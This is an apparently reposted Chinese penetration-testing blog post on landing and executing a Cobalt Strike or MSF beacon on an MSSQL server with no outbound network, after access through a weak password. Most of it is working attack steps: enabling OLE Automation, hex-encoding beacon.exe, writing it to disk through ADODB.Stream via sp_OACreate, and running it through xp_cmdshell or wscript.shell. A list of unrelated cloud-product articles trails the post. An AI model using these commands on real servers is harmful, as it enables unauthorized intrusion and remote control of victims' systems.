MSSQL不出网文件落地上线方式

简介: MSSQL不出网文件落地上线方式

0x01 前言

一个MSSQL非注入的场景:在内网扫描到一个MSSQL弱口令,支持xp_cmdshell,Administrator权限,但不能出网,DNS也出不了,那么我们该如何将文件落地到目标主机并执行上线呢?


0x02 利用思路

我们可以通过当前这台能出网的主机开启一个Socks代理连接不出网主机的MSSQL,然后再利用以下方式将PE文件落地到不出网的MSSQL主机,最终通过出网主机来中转上线不出网主机。


0x03 启用OLE组件

在执行命令或写入文件时都需要用到sp_oacreate,这主要是用来创建OLE对象,所以需要先执行以下SQL语句来启用“OLE Automation Procedures”组件。

    exec master.dbo.sp_configure 'show advanced options', 1
    RECONFIGURE
    exec master.dbo.sp_configure 'Ole Automation Procedures', 1
    RECONFIGURE


    0x04 EXE转换HEX

    使用以下方式将生成的CS/MSF攻击载荷文件转换为HEX编码,这里我找了几个可以转换HEX编码的方法,Linux的xxd命令,python脚本,或者010editor编辑器,根据个人习惯选择吧。


    (1) Linux exe -> hex

      xxd -ps beacon.exe hex.txt


      (2) python exe -> hex

        import binascii
        filename = 'beacon.exe'
        with open(filename, 'rb') as f:
            content = f.read()
        print(binascii.hexlify(content))


        (3) 010editor exe -> hex

        利用这种方式拷贝下来的HEX也能使用certutil.exe -decodehex正常解码,但如果要用OLE组件写入时就还需要做下处理,将空格、换行都删掉,全部放在一行即可。


        0x05 EXE文件落地

        将我们上边转换好的HEX编码放在第一行,加上0x,然后在本地的Navicat Premium数据库管理工具中执行即可,这时可以看到cs.exe文件已经成功落地到目标主机的磁盘。


        注:xp_cmdshell组件调用的是cmd.exe,所以在利用这种方式写入大文件时可能会出现字符长度限制等问题。

          DECLARE @DATA VARBINARY(MAX) = 0x-hex
                  DECLARE @filepath VARCHAR(MAX) = 'C:\\Windows\\temp\\cs.exe'
                  DECLARE @ObjectToken INT
                  EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT
                  EXEC sp_OASetProperty @ObjectToken, 'Type', 1
                  EXEC sp_OAMethod @ObjectToken, 'Open'
                  EXEC sp_OAMethod @ObjectToken, 'Write', NULL, @DATA
                  EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, @filepath, 2
                  EXEC sp_OAMethod @ObjectToken, 'Close'
                  EXEC sp_OADestroy @ObjectToken
                  SELECT @filepath


          0x06 执行EXE上线

          这时再利用xp_cmdshell、sp_oacreate等方式去执行刚落地的cs.exe即可上线。这里我只是根据这种场景进行了简单的模拟测试,不出网主机上线方式可参考我之前分享的。

          利用MSF上线断网主机的思路分享利用goproxy http上线不出网主机利用Pystinger Socks4上线不出网主机


          xp_cmdshell:

            exec master..xp_cmdshell "cmd /c C:\\Windows\\temp\\cs.exe"

            sp_oacreate:

              declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c C:\\Windows\\temp\\cs.exe'

              相关文章
              |
              2天前
              |
              运维 Serverless API
              Serverless 应用引擎产品使用之在阿里函数计算中,文件权限配置的操作步骤如何解决
              阿里云Serverless 应用引擎(SAE)提供了完整的微服务应用生命周期管理能力,包括应用部署、服务治理、开发运维、资源管理等功能,并通过扩展功能支持多环境管理、API Gateway、事件驱动等高级应用场景,帮助企业快速构建、部署、运维和扩展微服务架构,实现Serverless化的应用部署与运维模式。以下是对SAE产品使用合集的概述,包括应用管理、服务治理、开发运维、资源管理等方面。
              11 0
              |
              2天前
              |
              运维 JavaScript Serverless
              Serverless 应用引擎产品使用之在阿里函数计算中,Php环境,配置取消禁止函数exec如何解决
              阿里云Serverless 应用引擎(SAE)提供了完整的微服务应用生命周期管理能力,包括应用部署、服务治理、开发运维、资源管理等功能,并通过扩展功能支持多环境管理、API Gateway、事件驱动等高级应用场景,帮助企业快速构建、部署、运维和扩展微服务架构,实现Serverless化的应用部署与运维模式。以下是对SAE产品使用合集的概述,包括应用管理、服务治理、开发运维、资源管理等方面。
              15 4
              |
              2月前
              |
              人工智能 JavaScript 小程序
              Serverless 应用引擎常见问题之执行后没有输出选择厂商如何解决
              Serverless 应用引擎(Serverless Application Engine, SAE)是一种完全托管的应用平台,它允许开发者无需管理服务器即可构建和部署应用。以下是Serverless 应用引擎使用过程中的一些常见问题及其答案的汇总:
              22 4
              |
              7月前
              |
              监控 NoSQL 关系型数据库
              国产监控数据库产品lepus最新版学习和部署(V5.1)
              国产监控数据库产品lepus最新版学习和部署(V5.1)
              73 0
              |
              9月前
              |
              Cloud Native 关系型数据库 分布式数据库
              客户说|PolarDB最佳实践:工期缩短2/3,揭秘极氪APP分布式改造效率神器
              极氪APP引入阿里云PolarDB,21天完成数据库分布式改造
              |
              12月前
              |
              SQL 算法 关系型数据库
              OceanBase社区版4.0正式上线,与企业版同等性能,一键安装两分钟跑通Demo
              OceanBase社区版4.0正式上线,与企业版同等性能,一键安装两分钟跑通Demo
              208 0
              |
              Prometheus Kubernetes Cloud Native
              上线控制台,降低使用门槛|Higress 1.0.0 RC 版本发布
              一个遵循开源Ingress/Gateway API标准,提供流量调度、服务治理、安全防护三合一的高集成、易使用、易扩展、热更新的下一代云原生网关。
              上线控制台,降低使用门槛|Higress 1.0.0 RC 版本发布
              |
              存储 运维 监控
              阿里云MongoDB助力纵腾集团提升IT系统效率及开发优化
              业务工单系统使用阿里云版MongoDB后,解决了查询效率低的问题,极大地提升了业务效率和用户体验,获得了显著的效果。
              阿里云MongoDB助力纵腾集团提升IT系统效率及开发优化
              |
              存储 安全 测试技术
              【实测】用土话让你明白如何做测试平台的持续部署和集成 - 2【gitlab到底咋配置】
              【实测】用土话让你明白如何做测试平台的持续部署和集成 - 2【gitlab到底咋配置】
              【实测】用土话让你明白如何做测试平台的持续部署和集成 - 2【gitlab到底咋配置】
              |
              存储 运维 Cloud Native
              「设计」如何提升PaaS产品「使用效率」?阿里云数据库产品体验升级之路
              技术演进推进各行各业数字化进程的同时,其背后不同B类用户的使用体验和使用效率越来越重要。设计师们在复杂的业务场景中抽丝剥茧,探寻有效的设计解法,提升产品体验效率。
              451 0
              「设计」如何提升PaaS产品「使用效率」?阿里云数据库产品体验升级之路

              热门文章

              最新文章